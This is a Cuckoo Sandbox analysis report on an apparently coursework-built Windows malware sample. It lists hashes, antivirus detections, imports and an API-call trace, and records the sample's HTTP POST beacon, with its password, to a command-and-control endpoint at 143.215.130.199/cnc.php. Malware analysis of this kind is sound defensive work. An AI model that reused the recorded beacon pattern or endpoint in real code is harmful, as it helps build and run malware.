Cuckoo Sandbox

Category	Started On	Completed On	Duration	Cuckoo Version
FILE	2019-02-11 15:38:54	2019-02-11 15:39:18	24 seconds	1.2

Machine	Label	Manager	Started On	Shutdown On
WindowsXPSP3	WindowsXPSP3	VirtualBox	2019-02-11 15:38:55	2019-02-11 15:39:18

File Details

File name

dgoodrick3_malware4.exe

File size

2317792 bytes

File type

PE32 executable (console) Intel 80386, for MS Windows

CRC32

93238FDF

MD5

a7ab6e49a02e49b6db114cf2570c9ad0

SHA1

7293c2c46e99f314bd711c37536879ccfaa062d4

SHA256

15f88a157d9051c7a133bd5f79cd37a2887039937583ab299bd1a414efada6b8

SHA512

3c059c8ba5a6a0f1bce4e1ed25194629a1c918423806475c4907ae6d96cde2207ca089445920f06c0c3808216062f42314be8d7e2f621074e4d476faa7264a3e

Ssdeep

49152:bRsRWxNeChrdOQvFINQwX7/TfYJhlbESBDa22z2Bc:brbrdOQvFINQwX7bAJhlbESBDa22zZ

PEiD

None matched

Yara

None matched

VirusTotal

Permalink
VirusTotal Scan Date: 2019-02-08 20:53:17
Detection Rate: 4/70 (Expand)

Antivirus	Version	Result
Acronis	1.0.1.40	Clean
Ad-Aware	3.0.5.370	Clean
AegisLab	4.2	Clean
AhnLab-V3	3.14.1.22785	Clean
Alibaba	0.1.0.2	Clean
ALYac	1.1.1.5	Clean
Antiy-AVL	3.0.0.1	Clean
Arcabit	1.0.0.837	Clean
Avast	18.4.3895.0	Win32:Agent-PSA [Trj]
Avast-Mobile	190208-00	Clean
AVG	18.4.3895.0	Win32:Agent-PSA [Trj]
Avira	8.3.3.8	Clean
Babable	9107201	Clean
Baidu	1.0.0.2	Clean
BitDefender	7.2	Clean
Bkav	1.3.0.9899	Clean
CAT-QuickHeal	14.00	Clean
ClamAV	0.101.1.0	Clean
CMC	1.1.0.977	Clean
Comodo	30400	Clean
CrowdStrike	1.0	Clean
Cybereason	1.2.27	Clean
Cylance	2.3.1.101	Clean
Cyren	6.2.0.1	Clean
DrWeb	7.0.34.11020	Clean
eGambit	v4.3.6	Clean
Emsisoft	2018.4.0.1029	Clean
Endgame	3.0.2	Clean
ESET-NOD32	18843	Clean
F-Prot	4.7.1.166	Clean
F-Secure	12.0.86.52	Clean
Fortinet	5.4.247.0	Clean
GData	A:25.20550B:25.14338	Clean
Ikarus	0.1.5.2	Clean
Invincea	6.3.6.26157	Clean
Jiangmin	16.0.100	Clean
K7AntiVirus	11.27.29933	Clean
K7GW	11.27.29935	Clean
Kaspersky	15.0.1.13	Clean
Kingsoft	2013.8.14.323	Clean
Malwarebytes	2.1.1.1115	Clean
MAX	2018.9.12.1	Clean
McAfee	6.0.6.653	Clean
McAfee-GW-Edition	v2017.3010	Clean
Microsoft	1.1.15600.4	Clean
MicroWorld-eScan	14.0.297.0	Clean
NANO-Antivirus	1.0.134.24576	Clean
Paloalto	1.0	Clean
Panda	4.6.4.2	Clean
Qihoo-360	1.0.0.1120	Clean
Rising	25.0.0.24	Backdoor.Agent!1.663A (CLASSIC)
SentinelOne	1.0.23.276	Clean
Sophos	4.98.0	Clean
SUPERAntiSpyware	5.6.0.1032	Clean
Symantec	1.8.0.0	W32.SillyIM
TACHYON	2019-02-08.02	Clean
Tencent	1.0.0.1	Clean
TheHacker	6.8.0.5.3996	Clean
Trapmine	3.1.40.719	Clean
TrendMicro	10.0.0.1040	Clean
TrendMicro-HouseCall	10.0.0.1040	Clean
Trustlook	1.0	Clean
VBA32	3.35.1	Clean
VIPRE	72926	Clean
ViRobot	2014.3.20.0	Clean
Webroot	1.0.0.403	Clean
Yandex	5.5.1.3	Clean
Zillya	2.0.0.3750	Clean
ZoneAlarm	1.0	Clean
Zoner	1.0	Clean

Signatures

No signatures matched

Screenshots

Static Analysis

Sections

Name	Virtual Address	Virtual Size	Size of Raw Data	Entropy
.text	0x00001000	0x000c6d20	0x000c6e00	6.1814865828
.data	0x000c8000	0x00001bf0	0x00001c00	0.565661635991
.rdata	0x000ca000	0x0000b990	0x0000ba00	5.58403256358
.bss	0x000d6000	0x00000ee0	0x00000000	0.0
.idata	0x000d7000	0x00000ee0	0x00001000	5.02360394706
.CRT	0x000d8000	0x00000034	0x00000200	0.269444838607
.tls	0x000d9000	0x00000020	0x00000200	0.199107517787
/4	0x000da000	0x000006c0	0x00000800	2.33867679914
/19	0x000db000	0x0007a6d1	0x0007a800	6.02552139903
/31	0x00156000	0x00005d9c	0x00005e00	4.63432027905
/45	0x0015c000	0x0000704e	0x00007200	5.89895745262
/57	0x00164000	0x0000210c	0x00002200	4.81636786501
/70	0x00167000	0x00000e2a	0x00001000	4.62770947154
/81	0x00168000	0x00010abb	0x00010c00	4.44316991225
/92	0x00179000	0x000009f8	0x00000a00	3.19054261206

Imports

Library ADVAPI32.dll:

• 0x4d72b0 - AdjustTokenPrivileges

• 0x4d72b4 - GetUserNameA

• 0x4d72b8 - LookupPrivilegeValueA

• 0x4d72bc - OpenProcessToken

Library KERNEL32.dll:

• 0x4d72c4 - CloseHandle

• 0x4d72c8 - CopyFileA

• 0x4d72cc - CreateSemaphoreW

• 0x4d72d0 - DeleteCriticalSection

• 0x4d72d4 - EnterCriticalSection

• 0x4d72d8 - ExitThread

• 0x4d72dc - GetCurrentProcess

• 0x4d72e0 - GetCurrentProcessId

• 0x4d72e4 - GetCurrentThreadId

• 0x4d72e8 - GetLastError

• 0x4d72ec - GetModuleFileNameA

• 0x4d72f0 - GetModuleHandleA

• 0x4d72f4 - GetModuleHandleW

• 0x4d72f8 - GetProcAddress

• 0x4d72fc - GetStartupInfoA

• 0x4d7300 - GetSystemTimeAsFileTime

• 0x4d7304 - GetTickCount

• 0x4d7308 - GetWindowsDirectoryA

• 0x4d730c - InitializeCriticalSection

• 0x4d7310 - IsDBCSLeadByteEx

• 0x4d7314 - LeaveCriticalSection

• 0x4d7318 - MultiByteToWideChar

• 0x4d731c - QueryPerformanceCounter

• 0x4d7320 - ReleaseSemaphore

• 0x4d7324 - SetFileAttributesA

• 0x4d7328 - SetLastError

• 0x4d732c - SetUnhandledExceptionFilter

• 0x4d7330 - Sleep

• 0x4d7334 - TerminateProcess

• 0x4d7338 - TlsAlloc

• 0x4d733c - TlsFree

• 0x4d7340 - TlsGetValue

• 0x4d7344 - TlsSetValue

• 0x4d7348 - UnhandledExceptionFilter

• 0x4d734c - VirtualProtect

• 0x4d7350 - VirtualQuery

• 0x4d7354 - WaitForSingleObject

• 0x4d7358 - WideCharToMultiByte

Library msvcrt.dll:

• 0x4d7360 - __dllonexit

• 0x4d7364 - __doserrno

• 0x4d7368 - __getmainargs

• 0x4d736c - __initenv

• 0x4d7370 - __lconv_init

• 0x4d7374 - __mb_cur_max

• 0x4d7378 - __pioinfo

• 0x4d737c - __set_app_type

• 0x4d7380 - __setusermatherr

• 0x4d7384 - _acmdln

• 0x4d7388 - _amsg_exit

• 0x4d738c - _cexit

• 0x4d7390 - _errno

• 0x4d7394 - _filelengthi64

• 0x4d7398 - _fileno

• 0x4d739c - _fmode

• 0x4d73a0 - _fstat64

• 0x4d73a4 - _initterm

• 0x4d73a8 - _iob

• 0x4d73ac - _lock

• 0x4d73b0 - _lseeki64

• 0x4d73b4 - _onexit

• 0x4d73b8 - _snprintf

• 0x4d73bc - _strnicmp

• 0x4d73c0 - exit

• 0x4d73c4 - fclose

• 0x4d73c8 - fflush

• 0x4d73cc - fgetpos

• 0x4d73d0 - fopen

• 0x4d73d4 - fprintf

• 0x4d73d8 - fputc

• 0x4d73dc - fputs

• 0x4d73e0 - fread

• 0x4d73e4 - free

• 0x4d73e8 - fsetpos

• 0x4d73ec - fwrite

• 0x4d73f0 - getc

• 0x4d73f4 - getenv

• 0x4d73f8 - getwc

• 0x4d73fc - isspace

• 0x4d7400 - iswctype

• 0x4d7404 - localeconv

• 0x4d7408 - malloc

• 0x4d740c - memchr

• 0x4d7410 - memcmp

• 0x4d7414 - memcpy

• 0x4d7418 - memmove

• 0x4d741c - memset

• 0x4d7420 - putc

• 0x4d7424 - putwc

• 0x4d7428 - realloc

• 0x4d742c - setlocale

• 0x4d7430 - setvbuf

• 0x4d7434 - signal

• 0x4d7438 - sprintf

• 0x4d743c - strcat

• 0x4d7440 - strchr

• 0x4d7444 - strcmp

• 0x4d7448 - strcoll

• 0x4d744c - strcpy

• 0x4d7450 - strerror

• 0x4d7454 - strftime

• 0x4d7458 - strlen

• 0x4d745c - strncmp

• 0x4d7460 - strstr

• 0x4d7464 - strtoul

• 0x4d7468 - strxfrm

• 0x4d746c - _unlock

• 0x4d7470 - _write

• 0x4d7474 - abort

• 0x4d7478 - atoi

• 0x4d747c - towlower

• 0x4d7480 - towupper

• 0x4d7484 - ungetc

• 0x4d7488 - ungetwc

• 0x4d748c - vfprintf

• 0x4d7490 - wcscoll

• 0x4d7494 - wcsftime

• 0x4d7498 - wcslen

• 0x4d749c - wcsxfrm

• 0x4d74a0 - calloc

• 0x4d74a4 - _write

• 0x4d74a8 - _read

• 0x4d74ac - _fileno

• 0x4d74b0 - _fdopen

Library USER32.dll:

• 0x4d74b8 - CharLowerA

• 0x4d74bc - MessageBoxA

Library WINHTTP.dll:

• 0x4d74c4 - WinHttpCloseHandle

• 0x4d74c8 - WinHttpConnect

• 0x4d74cc - WinHttpOpen

• 0x4d74d0 - WinHttpOpenRequest

• 0x4d74d4 - WinHttpQueryDataAvailable

• 0x4d74d8 - WinHttpReadData

• 0x4d74dc - WinHttpReceiveResponse

• 0x4d74e0 - WinHttpSendRequest

Strings

Dropped Files

Nothing to display.

Network Analysis

Hosts Involved

IP Address
104.28.0.50
143.215.130.199
8.8.8.8

DNS Requests

Domain	IP Address
www.epochconverter.com	104.28.0.50

HTTP Requests

URL	Data
http://143.215.130.199/cnc.php	POST /cnc.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: CS6035 Host: 143.215.130.199 Content-Length: 105 Connection: Keep-Alive password="N95KYw6fbNr%h*t:L7O#"&build="1.0"&fn="C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_malware4.exe"
http://www.epochconverter.com:443/	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 Host: www.epochconverter.com Connection: Keep-Alive

Behavior Summary

Files

C:\WINDOWS\1.exe

Mutexes Nothing to display.

Registry Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp\UnsafeSslApps

Processes

registry filesystem process services network synchronization

dgoodrick3_malware4.exe PID: 276, Parent PID: 1996

Timestamp	Thread	Function	Arguments	Status	Return	Repeated
18:17:44,803	288	LdrGetDllHandle	ModuleHandle => 0x77c10000 FileName => msvcrt.dll	SUCCESS	0x00000000
18:17:44,803	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ___lc_codepage_func FunctionAddress => 0x77c330f4 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
18:17:44,833	288	RegOpenKeyExA	Handle => 0x00000088 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
18:17:44,833	288	RegQueryValueExA	Handle => 0x00000088 DataLength => 4 ValueName => ShareCredsWithWinHttp Type => 136	FAILURE	0x00000002
18:17:44,833	288	RegCloseKey	Handle => 0x00000088	SUCCESS	0x00000000
18:17:44,833	288	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp	FAILURE	0x00000002
18:17:44,833	288	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	FAILURE	0x00000002
18:17:44,833	288	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp\UnsafeSslApps	FAILURE	0x00000002
18:17:44,833	288	LdrLoadDll	Flags => 2291436 BaseAddress => 0x77dd0000 FileName => ADVAPI32.DLL	SUCCESS	0x00000000
18:17:44,833	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SystemFunction040 FunctionAddress => 0x77df6fe4 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
18:17:44,833	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SystemFunction041 FunctionAddress => 0x77dee4b2 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
18:17:44,853	288	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	FAILURE	0x00000002
18:17:44,853	288	LdrLoadDll	Flags => 2291916 BaseAddress => 0x71ab0000 FileName => ws2_32	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => accept FunctionAddress => 0x71ac1040 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => bind FunctionAddress => 0x71ab4480 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => closesocket FunctionAddress => 0x71ab3e2b ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => connect FunctionAddress => 0x71ab4a07 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => getsockname FunctionAddress => 0x71ab3d10 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => getsockopt FunctionAddress => 0x71ab46ea ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => htonl FunctionAddress => 0x71ab2ead ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => htons FunctionAddress => 0x71ab2e53 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => inet_addr FunctionAddress => 0x71ab2ee1 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => inet_ntoa FunctionAddress => 0x71ab45c1 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ioctlsocket FunctionAddress => 0x71ab3f50 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => listen FunctionAddress => 0x71ab8cd3 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ntohs FunctionAddress => 0x71ab2e53 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => recv FunctionAddress => 0x71ab676f ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => recvfrom FunctionAddress => 0x71ab2ff7 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => select FunctionAddress => 0x71ab30a8 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => send FunctionAddress => 0x71ab4c27 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => sendto FunctionAddress => 0x71ab2f51 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => setsockopt FunctionAddress => 0x71ab4521 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => shutdown FunctionAddress => 0x71ac0bf6 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => socket FunctionAddress => 0x71ab4211 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => gethostbyname FunctionAddress => 0x71ab5355 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => gethostname FunctionAddress => 0x71ab5449 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSAGetLastError FunctionAddress => 0x71ab3cce ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSASetLastError FunctionAddress => 0x71ab2a5e ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSAStartup FunctionAddress => 0x71ab6a55 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSACleanup FunctionAddress => 0x71ab3fed ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => __WSAFDIsSet FunctionAddress => 0x71ab3f7b ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSARecv FunctionAddress => 0x71ab4cb5 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSASend FunctionAddress => 0x71ab68fa ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSAStringToAddressA FunctionAddress => 0x71ab9765 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSAStringToAddressW FunctionAddress => 0x71ab281e ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSAAddressToStringA FunctionAddress => 0x71ab9462 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	WSAStartup	VersionRequested => 0x00000101	SUCCESS	0x00000000
18:17:44,853	288	LdrLoadDll	Flags => 2291916 BaseAddress => 0x71ab0000 FileName => ws2_32	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => getaddrinfo FunctionAddress => 0x71ab2a6f ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => freeaddrinfo FunctionAddress => 0x71ab2b0b ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,853	288	LdrGetProcedureAddress	Ordinal => 0 FunctionName => getnameinfo FunctionAddress => 0x71abc689 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
18:17:44,904	288	getaddrinfo	ServiceName => NodeName => www.epochconverter.com	FAILURE	0x00002af9
18:17:44,944	288	getaddrinfo	ServiceName => NodeName => www.epochconverter.com	SUCCESS	0x00000000
18:17:44,944	288	socket	type => 1 protocol => 6 af => 2	SUCCESS	0x000000a4
18:17:44,944	288	bind	ip => 0.0.0.0 socket => 0x000000a4 port => 0	SUCCESS	0x00000000
18:17:44,944	288	NtDeviceIoControlFile	InputBuffer => FileHandle => 0x000000a4 OutputBuffer => \x01\x00\x00\x00\x01\x00\x00\x00\x0e\x00\x02\x00\x04\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
18:17:44,944	288	ioctlsocket	command => 2147772030 socket => 0x000000a4	SUCCESS	0x00000000
18:17:44,964	288	connect	socket => 0x000000a4	FAILURE	0xffffffff
18:17:45,004	288	select	socket => 0x00000001	SUCCESS	0x00000001
18:17:45,004	288	ioctlsocket	command => 2147772030 socket => 0x000000a4	SUCCESS	0x00000000
18:17:45,004	288	setsockopt	socket => 0x000000a4 level => 6 optname => 1 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
18:17:45,004	288	setsockopt	socket => 0x000000a4 level => 65535 optname => 4101 optval => 0u\x00\x00	SUCCESS	0x00000000
18:17:45,004	288	setsockopt	socket => 0x000000a4 level => 65535 optname => 4102 optval => 0u\x00\x00	SUCCESS	0x00000000
18:17:45,004	288	setsockopt	socket => 0x000000a4 level => 65535 optname => 128 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
18:17:45,004	288	send	buffer => GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 Host: www.epochconverter.com Connection: Keep-Alive socket => 0x000000a4	SUCCESS	0x000000c3
18:17:45,004	372	NtDeviceIoControlFile	InputBuffer => \x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00 FileHandle => 0x000000b8 OutputBuffer =>	SUCCESS	0x00000000
18:17:45,004	372	NtDeviceIoControlFile	InputBuffer => \x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x000u\x00\x000u\x00\x00\x00 \x00\x00\x00 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xe9\x03\x00\x00f\x00\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x88\xb1\xf3\x00\x02\x00\x04\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xbbh\x1c\x002\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00 \x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00n\x00t\x00r\x00o\x00l\x00S\x00e\x00t\x00\x00\x01\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00 \x00\x00\x00s\x00\\x00T\x00c\x00p\x00i\x00p\x00\\x00P\x00a\x00r\x00a\x00m\x00e\x00t\x00e\x00r\x00s\x00\x00\x00\x00\x00 FileHandle => 0x000000a4 OutputBuffer =>	SUCCESS	0x00000000
18:17:45,054	288	recv	buffer => HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Feb 2019 20:40:02 GMT Content-Type: text/html Content-Length: 671 Connection: close CF-RAY: - <html> <head><title>400 The plain HTTP request was sent to HTTPS port</title></head> <body bg socket => 0x000000a4	SUCCESS	0x00000340
18:17:45,064	288	recv	buffer => socket => 0x000000a4	SUCCESS	0x00000000
18:17:45,064	288	setsockopt	socket => 0x000000a4 level => 65535 optname => 128 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
18:17:45,064	288	closesocket	socket => 0x000000a4	SUCCESS	0x00000000
18:17:45,064	288	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	FAILURE	0x00000002
18:17:45,074	288	getaddrinfo	ServiceName => NodeName => 143.215.130.199	SUCCESS	0x00000000
18:17:45,074	288	socket	type => 1 protocol => 6 af => 2	SUCCESS	0x000000a4
18:17:45,074	288	bind	ip => 0.0.0.0 socket => 0x000000a4 port => 0	SUCCESS	0x00000000
18:17:45,074	288	NtDeviceIoControlFile	InputBuffer => FileHandle => 0x000000a4 OutputBuffer => \x01\x00\x00\x00\x01\x00\x00\x00\x0e\x00\x02\x00\x04\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
18:17:45,074	288	ioctlsocket	command => 2147772030 socket => 0x000000a4	SUCCESS	0x00000000
18:17:45,074	288	connect	socket => 0x000000a4	FAILURE	0xffffffff
18:17:45,224	288	select	socket => 0x00000001	SUCCESS	0x00000001
18:17:45,224	288	ioctlsocket	command => 2147772030 socket => 0x000000a4	SUCCESS	0x00000000
18:17:45,224	288	setsockopt	socket => 0x000000a4 level => 6 optname => 1 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
18:17:45,224	288	setsockopt	socket => 0x000000a4 level => 65535 optname => 4101 optval => 0u\x00\x00	SUCCESS	0x00000000
18:17:45,224	288	setsockopt	socket => 0x000000a4 level => 65535 optname => 4102 optval => 0u\x00\x00	SUCCESS	0x00000000
18:17:45,224	288	setsockopt	socket => 0x000000a4 level => 65535 optname => 128 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
18:17:45,224	288	send	buffer => POST /cnc.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: CS6035 Host: 143.215.130.199 Content-Length: 105 Connection: Keep-Alive password="N95KYw6fbNr%h*t:L7O#"&build="1.0"&fn="C:\DOCUME~1\cuckoo\LOCALS~1\Temp\dgoodrick3_m socket => 0x000000a4	SUCCESS	0x0000010c
18:17:45,224	372	NtDeviceIoControlFile	InputBuffer => \x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00 FileHandle => 0x000000a8 OutputBuffer =>	SUCCESS	0x00000000
18:17:45,224	372	NtDeviceIoControlFile	InputBuffer => \x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x000u\x00\x000u\x00\x00\x00 \x00\x00\x00 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xe9\x03\x00\x00f\x00\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x88\xb1\xf3\x00\x02\x00\x04\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00P\x8f\xd7\x82\xc7\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00 \x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00n\x00t\x00r\x00o\x00l\x00S\x00e\x00t\x00\x00\x01\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00 \x00\x00\x00s\x00\\x00T\x00c\x00p\x00i\x00p\x00\\x00P\x00a\x00r\x00a\x00m\x00e\x00t\x00e\x00r\x00s\x00\x00\x00\x00\x00 FileHandle => 0x000000a4 OutputBuffer =>	SUCCESS	0x00000000
18:17:45,404	288	recv	buffer => HTTP/1.1 200 OK Date: Mon, 11 Feb 2019 20:40:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 10 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Success :)ent to HTTPS port</title></head> <body bg socket => 0x000000a4	SUCCESS	0x000000d6
18:17:45,404	288	ioctlsocket	command => 2147772030 socket => 0x000000a4	SUCCESS	0x00000000
18:17:45,404	288	recv	buffer => socket => 0x000000a4	FAILURE	0xffffffff
18:17:45,404	288	ioctlsocket	command => 2147772030 socket => 0x000000a4	SUCCESS	0x00000000	1 time
18:17:45,404	288	LdrLoadDll	Flags => 2291000 BaseAddress => 0x4d4f0000 FileName => C:\WINDOWS\system32\WINHTTP.dll	SUCCESS	0x00000000
18:17:45,414	288	CreateThread	ThreadId => 396 StartRoutine => 0x4d50be78 Parameter => 0x4d4f0000 CreationFlags => 0	SUCCESS	0x000000c0
18:17:45,434	396	NtDelayExecution	Milliseconds => 30000	SUCCESS	0x00000000
18:17:45,444	288	LdrLoadDll	Flags => 2290356 BaseAddress => 0x5ad70000 FileName => C:\WINDOWS\system32\uxtheme.dll	SUCCESS	0x00000000
18:17:45,444	288	IsDebuggerPresent		FAILURE	0x00000000
18:17:45,444	288	LdrLoadDll	Flags => 2290176 BaseAddress => 0x5ad70000 FileName => uxtheme.dll	SUCCESS	0x00000000
18:17:45,444	288	GetSystemMetrics	SystemMetricIndex => 31	SUCCESS	0x00000019
18:17:45,444	288	ZwMapViewOfSection	SectionOffset => 0x0022f0e8 SectionHandle => 0x00000098 ProcessHandle => 0xffffffff BaseAddress => 0x01490000	SUCCESS	0x00000000
18:17:45,454	288	GetSystemMetrics	SystemMetricIndex => 31	SUCCESS	0x00000019	40 times
